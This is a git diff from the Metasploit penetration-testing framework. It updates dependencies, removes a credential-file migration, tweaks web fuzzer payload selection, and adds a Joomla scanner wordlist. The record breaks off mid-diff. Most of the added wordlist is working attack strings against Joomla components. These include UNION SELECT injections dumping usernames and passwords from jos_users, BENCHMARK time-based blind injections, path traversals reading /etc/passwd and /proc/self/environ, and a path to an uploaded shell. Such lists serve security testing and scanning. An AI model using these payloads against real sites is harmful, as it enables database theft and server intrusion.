diff --git a/Gemfile b/Gemfile index 52d2e44c51..502e0060b3 100755 --- a/Gemfile +++ b/Gemfile @@ -2,12 +2,8 @@ source 'http://rubygems.org' # Need 3+ for ActiveSupport::Concern gem 'activesupport', '>= 3.0.0' -# Needed for Msf::DbManager -gem 'activerecord' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0' -# Needed for module caching in Mdm::ModuleDetails -gem 'pg', '>= 0.11' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0' group :development do # Markdown formatting for yard diff --git a/Gemfile.lock b/Gemfile.lock index 3f4ffb72e0..99f60b664d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,10 +1,10 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 73f26789500f278dd6fd555e839d09a3b81a05f4 - tag: 0.3.0 + revision: 448c1065329efea1eac76a3897f626f122666743 + tag: 0.4.0 specs: - metasploit_data_models (0.3.0) - activerecord + metasploit_data_models (0.4.0) + activerecord (>= 3.2.10) activesupport pg pry @@ -12,15 +12,15 @@ GIT GEM remote: http://rubygems.org/ specs: - activemodel (3.2.9) - activesupport (= 3.2.9) + activemodel (3.2.11) + activesupport (= 3.2.11) builder (~> 3.0.0) - activerecord (3.2.9) - activemodel (= 3.2.9) - activesupport (= 3.2.9) + activerecord (3.2.11) + activemodel (= 3.2.11) + activesupport (= 3.2.11) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.9) + activesupport (3.2.11) i18n (~> 0.6) multi_json (~> 1.0) arel (3.0.2) @@ -57,10 +57,8 @@ PLATFORMS ruby DEPENDENCIES - activerecord activesupport (>= 3.0.0) metasploit_data_models! - pg (>= 0.11) rake redcarpet rspec (>= 2.12) diff --git a/data/gui/msfgui.jar b/data/gui/msfgui.jar index 3fc94594f6..495e0ef217 100755 Binary files a/data/gui/msfgui.jar and b/data/gui/msfgui.jar differ diff --git a/data/sql/migrate/20110608113500_add_cred_file_table.rb b/data/sql/migrate/20110608113500_add_cred_file_table.rb deleted file mode 100755 index 9780e261e7..0000000000 --- a/data/sql/migrate/20110608113500_add_cred_file_table.rb +++ /dev/null @@ -1,20 +0,0 @@ -class AddCredFileTable < ActiveRecord::Migration - - def self.up - create_table :cred_files do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :path, :limit => 1024 - t.string :ftype, :limit => 16 - t.string :created_by - t.string :name, :limit => 512 - t.string :desc, :limit => 1024 - - t.timestamps - end - end - - def self.down - drop_table :cred_files - end - -end diff --git a/data/wordlists/joomla.txt b/data/wordlists/joomla.txt new file mode 100755 index 0000000000..b1e651d504 --- /dev/null +++ b/data/wordlists/joomla.txt @@ -0,0 +1,627 @@ +&controller=../../../../../../../../../../../../[LFI]%00 +?1.5.10-x +?1.5.11-x-http_ref +?1.5.11-x-php-s3lf +?1.5.3-path-disclose +?1.5.3-spam +?1.5.8-x +?1.5.9-x +?j1012-fixate-session +?option=com_mysms&Itemid=0&task=phonebook +Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png +admin/ +administrator/ +administrator/components/ +administrator/components/com_a6mambocredits/ +administrator/components/com_a6mambohelpdesk/ +administrator/components/com_admin/admin.admin.html.php +administrator/components/com_astatspro/refer.php +administrator/components/com_bayesiannaivefilter/ +administrator/components/com_chronocontact/excelwriter/PPS/File.php +administrator/components/com_colophon/ +administrator/components/com_colorlab/ +administrator/components/com_comprofiler/ +administrator/components/com_comprofiler/plugin.class.php +administrator/components/com_cropimage/admin.cropcanvas.php +administrator/components/com_extplorer/ +administrator/components/com_feederator/includes/tmsp/add_tmsp.php +administrator/components/com_googlebase/ +administrator/components/com_installer +administrator/components/com_jcs/ +administrator/components/com_jim/ +administrator/components/com_jjgallery/ +administrator/components/com_joom12pic/ +administrator/components/com_joomla-visites/ +administrator/components/com_joomla_flash_uploader/ +administrator/components/com_joomlaflashfun/ +administrator/components/com_joomlaradiov5/ +administrator/components/com_jpack/ +administrator/components/com_jreactions/ +administrator/components/com_juser/ +administrator/components/com_admin/ +administrator/components/com_kochsuite / +administrator/components/com_linkdirectory/ +administrator/components/com_livechat/getSavedChatRooms.php +administrator/components/com_livechat/xmlhttp.php +administrator/components/com_lurm_constructor/admin.lurm_constructor.php +administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php"); +administrator/components/com_mambelfish/ +administrator/components/com_mgm/ +administrator/components/com_mmp/help.mmp.php +administrator/components/com_mosmedia/ +administrator/components/com_multibanners/extadminmenus.class.php +administrator/components/com_panoramic/ +administrator/components/com_peoplebook/param.peoplebook.php +administrator/components/com_phpshop/toolbar.phpshop.html.php +administrator/components/com_remository/admin.remository.php +administrator/components/com_serverstat/install.serverstat.php +administrator/components/com_simpleswfupload/uploadhandler.php"); +administrator/components/com_swmenupro/ +administrator/components/com_treeg/ +administrator/components/com_uhp/ +administrator/components/com_uhp2/ +administrator/components/com_webring/ +administrator/components/com_wmtgallery/ +administrator/components/com_wmtportfolio/ +administrator/components/com_x-shop/ +administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ +administrator/index.php?option=com_searchlog&act=log +ajaxim/ +akocomments.php +cart?Itemid=[SQLi] +component/com__brightweblinks/ +component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 +component/osproperty/?task=agent_register +component/quran/index.php?option=com_quran&action=viewayat&surano= +components/com_ clickheat/ +components/com_5starhotels/ +components/com_Jambook/jambook.php +components/com_a6mambocredits/ +components/com_a6mambohelpdesk/ +components/com_ab_gallery/ +components/com_acajoom/ +components/com_acctexp/ +components/com_aclassf/ +components/com_activities/ +components/com_actualite/ +components/com_admin/admin.admin.html.php +components/com_advancedpoll/ +components/com_agora/ +components/com_agoragroup/ +components/com_ajaxchat/ +components/com_akobook/ +components/com_akocomment/ +components/com_akogallery +components/com_alberghi/ +components/com_allhotels/ +components/com_alphacontent/ +components/com_altas/ +components/com_amocourse/ +components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php +components/com_articles/ +components/com_artist/ +components/com_artlinks/ +components/com_asortyment/ +components/com_astatspro/ +components/com_awesom/ +components/com_babackup/ +components/com_banners/ +components/com_bayesiannaivefilter/ +components/com_be_it_easypartner/ +components/com_beamospetition/ +components/com_biblestudy/ +components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_blog/ +components/com_bookflip/ +components/com_bookjoomlas/ +components/com_booklibrary/ +components/com_books/ +components/com_bsadv/ +components/com_bsq_sitestats/ +components/com_bsq_sitestats/external/rssfeed.php +components/com_bsqsitestats/ +components/com_calendar/ +components/com_camelcitydb2/ +components/com_candle/ +components/com_casino_blackjack/ +components/com_casino_videopoker/ +components/com_casinobase/ +components/com_catalogproduction/ +components/com_catalogshop/ +components/com_category/ +components/com_cgtestimonial/video.php?url="> +components/com_chronocontact/excelwriter/PPS/File.php +components/com_cinema/ +components/com_clasifier/ +components/com_classifieds/ +components/com_clickheat/ +components/com_cloner/ +components/com_cmimarketplace/ +components/com_cms/ +components/com_colophon/ +components/com_colorlab/ +components/com_competitions/ +components/com_comprofiler/ +components/com_comprofiler/plugin.class.php +components/com_contactinfo/ +components/com_content/ +components/com_cpg/cpg.php +components/com_cropimage/admin.cropcanvas.php +components/com_custompages/ +components/com_cx/ +components/com_d3000/ +components/com_dadamail/ +components/com_dailymessage/ +components/com_datsogallery/ +components/com_dbquery/ +components/com_detail/ +components/com_digistore/ +components/com_directory/ +components/com_djiceshoutbox/ +components/com_doc/ +components/com_downloads/ +components/com_ds-syndicate/ +components/com_dtregister/ +components/com_dv/externals/phpupload/upload.php"); +components/com_easybook/ +components/com_emcomposer/ +components/com_equotes/ +components/com_estateagent/ +components/com_eventing/ +components/com_eventlist/ +components/com_events/ +components/com_ewriting/ +components/com_expose/uploadimg.php +components/com_expshop/ +components/com_extcalendar/ +components/com_extcalendar/cal_popup.php?extmode=view&extid= +components/com_extcalendar/extcalendar.php +components/com_extended_registration/registration_detailed.inc.php +components/com_extplorer/ +components/com_ezine/ +components/com_ezstore/ +components/com_facileforms/ +components/com_fantasytournament/ +components/com_faq/ +components/com_feederator/includes/tmsp/add_tmsp.php +components/com_filebase/ +components/com_filiale/ +components/com_flashfun/ +components/com_flashmagazinedeluxe/ +components/com_flippingbook/ +components/com_flyspray/startdown.php +components/com_fm/fm.install.php +components/com_foevpartners/ +components/com_football/ +components/com_formtool/ +components/com_forum/ +components/com_fq/ +components/com_fundraiser/ +components/com_galeria/ +components/com_galleria/galleria.html.php +components/com_gallery/ +components/com_game/ +components/com_gameq/ +components/com_garyscookbook/ +components/com_genealogy/ +components/com_geoboerse/ +components/com_gigcal/ +components/com_gmaps/ +components/com_googlebase/ +components/com_gsticketsystem/ +components/com_guide/ +components/com_hashcash/server.php +components/com_hbssearch/ +components/com_hello_world/ +components/com_hotproperties/ +components/com_hotproperty/ +components/com_hotspots/ +components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php +components/com_hwdvideoshare/ +components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); +components/com_ice/ +components/com_idoblog/ +components/com_idvnews/ +components/com_ignitegallery/ +components/com_ijoomla_archive/ +components/com_ijoomla_rss/ +components/com_inter/ +components/com_ionfiles/ +components/com_is/ +components/com_ixxocart/ +components/com_jabode/ +components/com_jashowcase/ +components/com_jb2/ +components/com_jce/ +components/com_jcs/ +components/com_jd-wiki/ +components/com_jd-wp/ +components/com_jim/ +components/com_jjgallery/ +components/com_jmovies/ +components/com_jobline/ +components/com_jombib/ +components/com_joobb/ +components/com_jooget/ +components/com_joom12pic/ +components/com_joomla-visites/ +components/com_joomla_flash_uploader/ +components/com_joomlaboard/ +components/com_joomladate/ +components/com_joomlaflashfun/ +components/com_joomlalib/ +components/com_joomlaradiov5/ +components/com_joomlavvz/ +components/com_joomlaxplorer/ +components/com_joomloads/ +components/com_joomradio/ +components/com_joomtracker/ +components/com_joovideo/ +components/com_jotloader/ +components/com_journal/ +components/com_jpack/ +components/com_jpad/ +components/com_jreactions/ +components/com_jreviews/scripts/xajax.inc.php +components/com_jumi/ +components/com_juser/ +components/com_jvideo/ +components/com_k2/ +components/com_kbase/ +components/com_knowledgebase/fckeditor/fckeditor.js +components/com_kochsuite / +components/com_kunena/ +components/com_letterman/ +components/com_lexikon/ +components/com_linkdirectory/ +components/com_listoffreeads/ +components/com_livechat/getSavedChatRooms.php +components/com_livechat/xmlhttp.php +components/com_liveticker/ +components/com_lm/ +components/com_lmo/ +components/com_loudmounth/includes/abbc/abbc.class.php +components/com_loudmouth/ +components/com_lowcosthotels/ +components/com_lurm_constructor/admin.lurm_constructor.php +components/com_mad4joomla/ +components/com_madeira/img.php +components/com_maianmusic/ +components/com_mailarchive/ +components/com_mailto/ +components/com_mambatstaff/mambatstaff.php +components/com_mambelfish/ +components/com_mambospgm/ +components/com_mambowiki/MamboLogin.php +components/com_marketplace/ +components/com_mcquiz/ +components/com_mdigg/ +components/com_media_library/ +components/com_mediaslide/ +components/com_mezun/ +components/com_mgm/ +components/com_minibb/ +components/com_misterestate/ +components/com_mmp/help.mmp.php +components/com_model/ +components/com_moodle/moodle.php +components/com_moofaq/ +components/com_mosmedia/ +components/com_mospray/scripts/admin.php +components/com_mosres/ +components/com_most/ +components/com_mp3_allopass/ +components/com_mtree/ +components/com_mtree/img/listings/o/{id}.php +components/com_multibanners/extadminmenus.class.php +components/com_myalbum/ +components/com_mycontent/ +components/com_mydyngallery/ +components/com_mygallery/ +components/com_n-forms/ +components/com_na_content/ +components/com_na_mydocs/ +components/com_na_newsdescription/ +components/com_na_qforms/ +components/com_neogallery/ +components/com_neorecruit/ +components/com_neoreferences/ +components/com_netinvoice/ +components/com_news/ +components/com_news_portal/ +components/com_newsflash/ +components/com_nfn_addressbook/ +components/com_nicetalk/ +components/com_noticias/ +components/com_omnirealestate/ +components/com_omphotogallery/ +components/com_ongumatimesheet20/ +components/com_onlineflashquiz/ +components/com_ownbiblio/ +components/com_panoramic/ +components/com_paxgallery/ +components/com_paxxgallery/ +components/com_pcchess/ +components/com_pcchess/include.pcchess.php +components/com_pccookbook/ +components/com_pccookbook/pccookbook.php +components/com_peoplebook/param.peoplebook.php +components/com_performs/ +components/com_philaform/ +components/com_phocadocumentation/ +components/com_php/ +components/com_phpshop/toolbar.phpshop.html.php +components/com_pinboard/ +components/com_pms/ +components/com_poll/ +components/com_pollxt/ +components/com_ponygallery/ +components/com_portafolio/ +components/com_portfol/ +components/com_prayercenter/ +components/com_pro_desk/ +components/com_prod/ +components/com_productshowcase/ +components/com_profiler/ +components/com_projectfork/ +components/com_propertylab/ +components/com_puarcade/ +components/com_publication/ +components/com_quiz/ +components/com_rapidrecipe/ +components/com_rdautos/ +components/com_realestatemanager/ +components/com_recly/ +components/com_referenzen/ +components/com_rekry/ +components/com_remository/admin.remository.php +components/com_remository_files/file_image_14/1276100016shell.php +components/com_reporter/processor/reporter.sql.php +components/com_resman/ +components/com_restaurante/ +components/com_ricette/ +components/com_rsfiles/ +components/com_rsgallery/ +components/com_rsgallery2/ +components/com_rss/ +components/com_rssreader/ +components/com_rssxt/ +components/com_rwcards/ +components/com_school/ +components/com_search/ +components/com_sebercart/getPic.php?p=[LFD]%00 +components/com_securityimages/ +components/com_sef/ +components/com_seminar/ +components/com_serverstat/install.serverstat.php +components/com_sg/ +components/com_simple_review/ +components/com_simpleboard/ +components/com_simplefaq/ +components/com_simpleshop/ +components/com_sitemap/sitemap.xml.php +components/com_slideshow/ +components/com_smf/ +components/com_smf/smf.php +components/com_swmenupro/ +components/com_team/ +components/com_tech_article/ +components/com_thopper/ +components/com_thyme/ +components/com_tickets/ +components/com_tophotelmodule/ +components/com_tour_toto/ +components/com_trade/ +components/com_uhp/ +components/com_uhp2/ +components/com_user/controller.php +components/com_users/ +components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php +components/com_vehiclemanager/ +components/com_versioning / +components/com_videodb/core/videodb.class.xml.php +components/com_virtuemart/ +components/com_volunteer/ +components/com_vr/ +components/com_waticketsystem/ +components/com_webhosting/ +components/com_weblinks/ +components/com_webring/ +components/com_wmtgallery/ +components/com_wmtportfolio/ +components/com_x-shop/ +components/com_xevidmegahd/ +components/com_xewebtv/ +components/com_xfaq/ +components/com_xgallery/helpers/img.php?file= +components/com_xsstream-dm/ +components/com_ynews/ +components/com_yvcomment/ +components/com_zoom/classes/ +components/mod_letterman/ +components/remository/ +eXtplorer/ +easyblog/entry/uncategorized +extplorer/ +components/com_mtree/img/listings/o/{id}.php where {id} +includes/joomla.php +index.php/404' +index.php/?option=com_question&catID=21' and+1=0 union all +index.php/image-gallery/">/25-koala +index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 +index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view +index.php?option=com_aardvertiser&cat_name=conf&task=<= +index.php?option=com_aardvertiser&task= +index.php?option=com_abc&view=abc&letter=AS§ionid=' +index.php?option=com_advert&id=36' +index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users-- +index.php?option=com_alfurqan15x&action=viewayat&surano= +index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version +index.php?option=com_annonces&view=edit&Itemid=1 +index.php?option=com_articleman&task=new +index.php?option=com_bbs&bid=-1 +index.php?option=com_beamospetition&startpage=3&pet=- +index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users- +index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27 +index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1 +index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users-- +index.php?option=com_chronoconnectivity&itemid=1 +index.php?option=com_chronocontact&itemid=1 +index.php?option=com_cinema&Itemid=S@BUN&func=detail&id= +index.php?option=com_clantools&squad=1+ +index.php?option=com_clantools&task=clanwar&showgame=1+ +index.php?option=com_commedia&format=raw&task=image&pid=4&id=964' +index.php?option=com_commedia&task=page&commpid=21 +index.php?option=com_connect&view=connect&controller= +index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ +index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_dioneformwizard&controller=[LFI]%00 +index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1 +index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12 +index.php?option=com_easyfaq&Itemid=1&task=view&gid= +index.php?option=com_easyfaq&catid=1&task=view&id=-2527+ +index.php?option=com_easyfaq&task=view&contact_id= +index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id= +index.php?option=com_equipment&task=components&id=45&sec_men_id= +index.php?option=com_equipment&view=details&id= +index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] +index.php?option=com_etree&view=displays&layout=category&id=[SQL] +index.php?option=com_etree&view=displays&layout=user&user_id=[SQL] +index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1 +index.php?option=com_fabrik&view=table&tableid=13+union+select+1---- +index.php?option=com_filecabinet&task=download&cid[]=7 +index.php?option=com_firmy&task=section_show_set&Id=-1 +index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R +index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id= +index.php?option=com_graphics&controller= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp= +index.php?option=com_huruhelpdesk&view=detail +index.php?option=com_huruhelpdesk&view=detail&cid[0]= +index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1 +index.php?option=com_iproperty&view=agentproperties&id= +index.php?option=com_jacomment&view= +index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00 +index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_jcommunity&controller=members&task=1' +index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13 +index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2 +index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2 +index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00 +index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_jfuploader&Itemid= +index.php?option=com_jgen&task=view&id= +index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00 +index.php?option=com_jimtawl&Itemid=12&task= +index.php?option=com_jmarket&controller=product&task=1' +index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1' +index.php?option=com_jomdirectory&task=search&type=111+ +index.php?option=com_joomdle&view=detail&cat_id=1&course_id= +index.php?option=com_joomla_flash_uploader&Itemid=1 +index.php?option=com_joomleague&func=showNextMatch&p=[sqli] +index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli] +index.php?option=com_joomtouch&controller= +index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00 +index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00 +index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users +index.php?option=com_jstore&controller=product-display&task=1' +index.php?option=com_jsubscription&controller=subscription&task=1' +index.php?option=com_jtickets&controller=ticket&task=1' +index.php?option=com_konsultasi&act=detail&sid= +index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en +index.php?option=com_kunena&func=userlist&search= +index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1' +index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users-- +index.php?option=com_matamko&controller= +index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm +index.php?option=com_neorecruit&task=offer_view&id= +index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- +index.php?option=com_noticeboard&controller= +index.php?option=com_obsuggest&controller= +index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- +index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- +index.php?option=com_oziogallery&Itemid= +index.php?option=com_page&id=53 +index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection] +index.php?option=com_phocagallery&view=categories&Itemid= +index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_php&file=../../../../../../../../../../etc/passwd +index.php?option=com_php&file=../images/phplogo.jpg +index.php?option=com_php&file=../js/ie_pngfix.js +index.php?option=com_ponygallery&Itemid=[sqli] +index.php?option=com_products&catid=-1 +index.php?option=com_products&id=-1 +index.php?option=com_products&product_id=-1 +index.php?option=com_products&task=category&catid=-1 +index.php?option=com_properties&task=agentlisting&aid= +index.php?option=com_qcontacts&Itemid=1' +index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts +index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_restaurantguide&view=country&id='&Itemid=69 +index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' +index.php?option=com_seyret&view= +index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users-- +index.php?option=com_smartsite&controller= +index.php?option=com_spa&view=spa_product&cid= +index.php?option=com_spidercalendar +index.php?option=com_spidercalendar&date=1' +index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_staticxt&staticfile=test.php&id=1923 +index.php?option=com_szallasok&mode=8&id=25 (SQL) +index.php?option=com_tag&task=tag&tag= +index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users-- +index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users +index.php?option=com_ultimateportfolio&controller= +index.php?option=com_users&view=registration +index.php?option=com_virtuemart&page=account.index&keyword=[sqli] +index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_x-shop&action=artdetail&idd=' +index.php?option=com_x-shop&action=artdetail&idd='[SQLi] +index.php?option=com_xcomp&controller=../../[LFI]%00 +index.php?option=com_xvs&controller=../../[LFI]%00 +index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users-- +index.php?option=com_yjcontactus&view= +index.php?option=com_youtube&id_cate=4 +index.php?option=com_zina&view=zina&Itemid=9 +index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id= +index.php?search=NoGe&option=com_esearch&searchId= +index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube +index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users-- +js/index.php?option=com_socialads&view=showad&Itemid=94 +libraries/joomla/utilities/compat/php50x.php +libraries/pcl/pcltar.php +libraries/phpmailer/phpmailer.php +libraries/phpxmlrpc/xmlrpcs.php +modules/mod_artuploader/upload.php"); +modules/mod_as_category.php +modules/mod_calendar.php +modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] +modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream"); +modules/mod_jfancy/script.php"); +modules/mod_ppc_simple_spotlight/elements/upload_file.php +modules/mod_ppc_simple_spotlight/img/ +modules/mod_pxt/ +modules/mod_quick_question.php +modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0 +patch/makedown.php?arquivo=../../../../etc/passwd +plugins/content/efup_files/helper.php"); +plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data"> +plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ +plugins/editors/xstandard/attachmentlibrary.php +print.php?task=person&id=36 and 1=1 +templates/be2004-2/ +templates/ja_purity/ +wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1-- +web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java index b1b7d2c2ac..8b754c1871 100644 --- a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java +++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java @@ -260,7 +260,8 @@ public abstract class RpcConnection { // Don't fork cause we'll check if it dies String rpcType = "Basic"; java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{ - "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"})); + "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1", + "-p",Integer.toString(defaultPort)})); if(!defaultSsl) args.add("-S"); if(disableDb) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index b91b7536f1..48428b720c 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -250,7 +250,9 @@ module Auxiliary::Web if !(payload = opts[:payload]) if payloads - payload = payloads.select{ |p| element.altered_value.include?( p ) }.first + payload = payloads.select { |p| + element.altered_value.include?( p ) + }.sort_by { |p| p.size }.last end end diff --git a/lib/msf/core/auxiliary/web/analysis/differential.rb b/lib/msf/core/auxiliary/web/analysis/differential.rb index 7ba764ed5c..0d53c1236b 100644 --- a/lib/msf/core/auxiliary/web/analysis/differential.rb +++ b/lib/msf/core/auxiliary/web/analysis/differential.rb @@ -101,7 +101,7 @@ module Analysis::Differential # save the response and some data for analysis responses[:good][elem.altered] << { 'res' => res, - 'elem' => elem + 'elem' => elem.dup } end end @@ -122,8 +122,7 @@ module Analysis::Differential http.if_not_custom_404( action, res['res'].body ) do # if this isn't a custom 404 page then it means that # the element is vulnerable, so go ahead and log the issue - fuzzer.process_vulnerability( res['elem'], 'Manipulatable responses.', - :payload => res['elem'].altered_value ) + fuzzer.process_vulnerability( res['elem'], 'Boolean manipulation.' ) end end end diff --git a/lib/msf/core/auxiliary/web/analysis/timing.rb b/lib/msf/core/auxiliary/web/analysis/timing.rb index 9d6b3e5647..32608cf077 100644 --- a/lib/msf/core/auxiliary/web/analysis/timing.rb +++ b/lib/msf/core/auxiliary/web/analysis/timing.rb @@ -54,7 +54,8 @@ module Analysis::Timing timeout = opts[:delay] seed = p.altered_value.dup - payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }.first + payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }. + sort_by { |p2| p2.size }.last # 1st pass, make sure the webapp is responsive if_responsive do diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index a261113556..0a59187c02 100644 --- 